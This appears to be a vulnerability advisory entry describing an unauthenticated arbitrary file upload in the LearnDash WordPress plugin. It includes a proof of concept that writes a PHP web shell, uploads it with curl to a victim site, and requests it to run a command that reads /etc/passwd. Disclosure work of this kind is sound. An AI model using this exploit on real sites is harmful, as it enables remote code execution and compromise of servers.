The plugin does not have any authorisation and validation of the file to be uploaded in the learndash_assignment_process_init() function, which could allow unauthenticated users to upload arbitrary files to the web server
$ echo '<?php echo exec("ls -la /etc/passwd");' > shell.php.php $ curl -F "post=foobar" -F "course_id=foobar" -F "uploadfile=foobar" -F "uploadfiles[][email protected]" https://victim.tld/ $ curl 'https://victim.tld/wp-content/uploads/assignments/shell.php.' -rw-r--r-- 1 root root 2385 Apr 14 2017 /etc/passwd
UPLOAD
Jerome Bruandet (NinTechNet)
Yes
2018-01-06 (about 4 years ago)
2021-10-20 (about 6 months ago)
2022-04-14 (about 1 months ago)